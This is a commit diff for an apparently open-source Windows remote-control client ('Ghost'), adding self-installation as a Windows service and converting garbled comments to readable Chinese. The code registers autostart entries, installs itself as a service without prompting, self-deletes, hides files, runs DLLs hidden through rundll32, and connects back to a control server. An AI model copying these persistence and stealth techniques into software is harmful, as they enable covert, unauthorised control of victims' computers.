Feature: Support client running as windows service

This commit is contained in:
yuanyuanxiang
2025-11-23 18:13:39 +01:00
parent 9a640c0a1d
commit 36b7b86890
27 changed files with 3023 additions and 171 deletions

View File

@@ -6,23 +6,24 @@
#include <common/iniFile.h>
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
// <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
// 自动启动注册表中的值
#define REG_NAME "a_ghost"
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀͻ<EFBFBD><EFBFBD>˸<EFBFBD><EFBFBD><EFBFBD>
// 启动的客户端个数
#define CLIENT_PARALLEL_NUM 1
// Զ<EFBFBD>̵<EFBFBD>ַ
// 远程地址
CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", {},
0, 7057226198541618915, {},
};
// <EFBFBD><EFBFBD><EFBFBD>տͻ<EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><EFBFBD>2<EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD>: g_SETTINGS<EFBFBD><EFBFBD>g_MyApp<EFBFBD><EFBFBD><EFBFBD><EFBFBD>g_SETTINGS<EFBFBD><EFBFBD>Ϊg_MyApp<EFBFBD>ij<EFBFBD>Ա.
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD>: g_MyApp
// 最终客户端只有2个全局变量: g_SETTINGSg_MyApp,而g_SETTINGS作为g_MyApp的成员.
// 因此全局来看只有一个全局变量: g_MyApp
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
enum { E_RUN, E_STOP, E_EXIT } status;
@@ -70,7 +71,7 @@ DWORD WINAPI StartClientApp(LPVOID param)
settings.SetServer(ip, port);
}
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
Sleep(3000);
} else {
app->g_hInstance = GetModuleHandle(NULL);
@@ -95,11 +96,11 @@ DWORD WINAPI StartClientApp(LPVOID param)
}
/**
* @brief <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֳ<EFBFBD><EFBFBD><EFBFBD>MAXIMUM_WAIT_OBJECTS<EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD>
* @param handles <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param waitAll <EFBFBD>Ƿ<EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>о<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD>TRUE=ȫ<EFBFBD><EFBFBD>, FALSE=<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param timeout <EFBFBD><EFBFBD>ʱʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬INFINITE<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD>޵ȴ<EFBFBD><EFBFBD><EFBFBD>
* @return <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WAIT_OBJECT_0<EFBFBD>ɹ<EFBFBD>, WAIT_FAILEDʧ<EFBFBD>ܣ<EFBFBD>
* @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制)
* @param handles 句柄数组
* @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个)
* @param timeout 超时时间毫秒INFINITE表示无限等待
* @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败)
*/
DWORD WaitForMultipleHandlesEx(
const std::vector<HANDLE>& handles,
@@ -107,10 +108,10 @@ DWORD WaitForMultipleHandlesEx(
DWORD timeout = INFINITE
)
{
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳ<EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD>64<EFBFBD><EFBFBD>
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制64
DWORD totalHandles = static_cast<DWORD>(handles.size());
// 1. <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD>
// 1. 检查句柄有效性
for (HANDLE h : handles) {
if (h == NULL || h == INVALID_HANDLE_VALUE) {
SetLastError(ERROR_INVALID_HANDLE);
@@ -118,20 +119,20 @@ DWORD WaitForMultipleHandlesEx(
}
}
// 2. <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>64<EFBFBD><EFBFBD>ֱ<EFBFBD>ӵ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>API
// 2. 如果句柄数≤64直接调用原生API
if (totalHandles <= MAX_WAIT) {
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
}
// 3. <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD>߼<EFBFBD>
// 3. 分批等待逻辑
if (waitAll) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>о<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 必须等待所有句柄完成
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
TRUE, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRUE, // 必须等待当前批次全部完成
timeout
);
if (result == WAIT_FAILED) {
@@ -140,18 +141,18 @@ DWORD WaitForMultipleHandlesEx(
}
return WAIT_OBJECT_0;
} else {
// ֻ<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 只需等待任意一个句柄完成
while (true) {
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
FALSE, // <EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɼ<EFBFBD><EFBFBD><EFBFBD>
FALSE, // 当前批次任意一个完成即可
timeout
);
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
return result + i; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return result + i; // 返回全局索引
}
}
if (timeout != INFINITE) {
@@ -165,11 +166,11 @@ DWORD WaitForMultipleHandlesEx(
#include "auto_start.h"
// <EFBFBD><EFBFBD><EFBFBD>ؿ<EFBFBD><EFBFBD><EFBFBD>̨
// <EFBFBD>ο<EFBFBD><EFBFBD><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>߼<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
// step2: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 隐藏控制台
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: 在链接器"高级"设置入口点为mainCRTStartup
// step2: 在链接器"系统"设置系统为窗口
// 完成
BOOL CALLBACK callback(DWORD CtrlType)
{
@@ -181,17 +182,94 @@ BOOL CALLBACK callback(DWORD CtrlType)
return TRUE;
}
void PrintUsage() {
Mprintf("Ghost Remote Control\n");
Mprintf("Usage:\n");
Mprintf(" ghost.exe -install Install as Windows service\n");
Mprintf(" ghost.exe -uninstall Uninstall service\n");
Mprintf(" ghost.exe -service Run as service (internal use)\n");
Mprintf(" ghost.exe -agent Run as agent (launched by service)\n");
Mprintf(" ghost.exe Run as normal application (debug mode)\n");
Mprintf("\n");
}
extern "C" BOOL RunAsAgent(BOOL block) {
return g_MyApp.Run(block ? true : false) ? TRUE : FALSE;
}
bool RunService(int argc, const char* argv[]) {
g_ServiceDirectMode = FALSE;
if (argc == 1) { // 无参数时,作为服务启动
BOOL registered = FALSE;
BOOL running = FALSE;
char servicePath[MAX_PATH] = {0};
ServiceWrapper_CheckStatus(&registered, &running, servicePath, MAX_PATH);
char curPath[MAX_PATH];
GetModuleFileName(NULL, curPath, MAX_PATH);
if (registered && strcmp(curPath, servicePath) != 0) {
Mprintf("RunService Uninstall: %s\n", servicePath);
ServiceWrapper_Uninstall();
registered = FALSE;
}
if (!registered) {
Mprintf("RunService Install: %s\n", curPath);
ServiceWrapper_Install();
} else if (!running) {
int r = ServiceWrapper_Run();
Mprintf("RunService Run '%s' %s\n", curPath, r==ERROR_SUCCESS ? "succeed" : "failed");
if (r) {
r = ServiceWrapper_StartSimple();
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
}
}
return true;
}
else if (argc > 1) {
if (_stricmp(argv[1], "-install") == 0) {
ServiceWrapper_Install();
return true;
}
else if (_stricmp(argv[1], "-uninstall") == 0) {
ServiceWrapper_Uninstall();
return true;
}
else if (_stricmp(argv[1], "-service") == 0) {
ServiceWrapper_Run();
return true;
}
else if (_stricmp(argv[1], "-agent") == 0) {
RunAsAgent(true);
return true;
}
else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
PrintUsage();
return true;
}
}
return false;
}
int main(int argc, const char *argv[])
{
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Windows Ghost", "WinGhost");
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
// 注册启动项
int r = RegisterStartup("Windows Ghost", "WinGhost", !isService);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
}
if (!SetSelfStart(argv[0], REG_NAME)) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
if (isService) {
bool ret = RunService(argc, argv);
Mprintf("RunService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
if (ret) return 0x20251123;
}
status = E_RUN;
@@ -207,7 +285,7 @@ int main(int argc, const char *argv[])
SetConsoleCtrlHandler(&callback, TRUE);
const char* ip = argc > 1 ? argv[1] : NULL;
int port = argc > 2 ? atoi(argv[2]) : 0;
int port = argc > 2 ? atoi(argv[2]) : 6543;
ClientApp& app(g_MyApp);
app.g_Connection->SetType(CLIENT_TYPE_ONE);
app.g_Connection->SetServer(ip, port);
@@ -215,7 +293,7 @@ int main(int argc, const char *argv[])
g_SETTINGS.SetServer(ip, port);
#endif
if (CLIENT_PARALLEL_NUM == 1) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>
// 启动单个客户端
StartClientApp(&app);
} else {
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
@@ -223,12 +301,12 @@ int main(int argc, const char *argv[])
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
if (handles[i] == 0) {
Mprintf("<EFBFBD>߳<EFBFBD> %d <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", i, errno);
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
}
}
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
if (result == WAIT_FAILED) {
Mprintf("WaitForMultipleObjects ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
}
}
ClientApp::Wait();
@@ -276,7 +354,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
return TRUE;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>ghost
// 启动运行一个ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
ClientApp& app(g_MyApp);
@@ -302,25 +380,25 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
CloseHandle(hThread);
}
// ֹͣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 停止运行
extern "C" __declspec(dllexport) void StopRun()
{
g_MyApp.g_bExit = S_CLIENT_EXIT;
}
// <EFBFBD>Ƿ<EFBFBD><EFBFBD>ɹ<EFBFBD>ֹͣ
// 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped()
{
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
}
// <EFBFBD>Ƿ<EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>
// 是否退出客户端
extern "C" __declspec(dllexport) BOOL IsExit()
{
return g_MyApp.g_bExit;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д˳<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κβ<EFBFBD><EFBFBD><EFBFBD>
// 简单运行此程序,无需任何参数
extern "C" __declspec(dllexport) int EasyRun()
{
ClientApp& app(g_MyApp);
@@ -330,11 +408,11 @@ extern "C" __declspec(dllexport) int EasyRun()
TestRun((char*)settings.ServerIP(), settings.ServerPort());
while (!IsStoped())
Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // <EFBFBD>ܿض<EFBFBD><EFBFBD>˳<EFBFBD>
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
else // S_CLIENT_UPDATE: 程序更新
break;
} while (true);
@@ -342,7 +420,7 @@ extern "C" __declspec(dllexport) int EasyRun()
}
// copy from: SimpleRemoter\client\test.cpp
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
// 启用新的DLL
void RunNewDll(const char* cmdLine)
{
char path[_MAX_PATH], * p = path;
@@ -368,7 +446,7 @@ void RunNewDll(const char* cmdLine)
ok = FALSE;
}
} else {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 设置文件属性为隐藏
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
}
@@ -385,13 +463,13 @@ void RunNewDll(const char* cmdLine)
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* <EFBFBD><EFBFBD><EFBFBD>пͻ<EFBFBD><EFBFBD>˵ĺ<EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD>.
HWND hwnd: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><EFBFBD>Ϊ NULL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HINSTANCE hinst: DLL <EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPSTR lpszCmdLine: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCmdShow: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
HWND hwnd: 父窗口句柄(通常为 NULL)。
HINSTANCE hinst: DLL 的实例句柄。
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
int nCmdShow: 窗口显示状态。
运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
@@ -415,7 +493,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
return;
}
@@ -491,7 +569,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
SAFE_DELETE(Manager);
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
//׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//准备第一波数据
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
ClientObject->SendLoginInfo(login);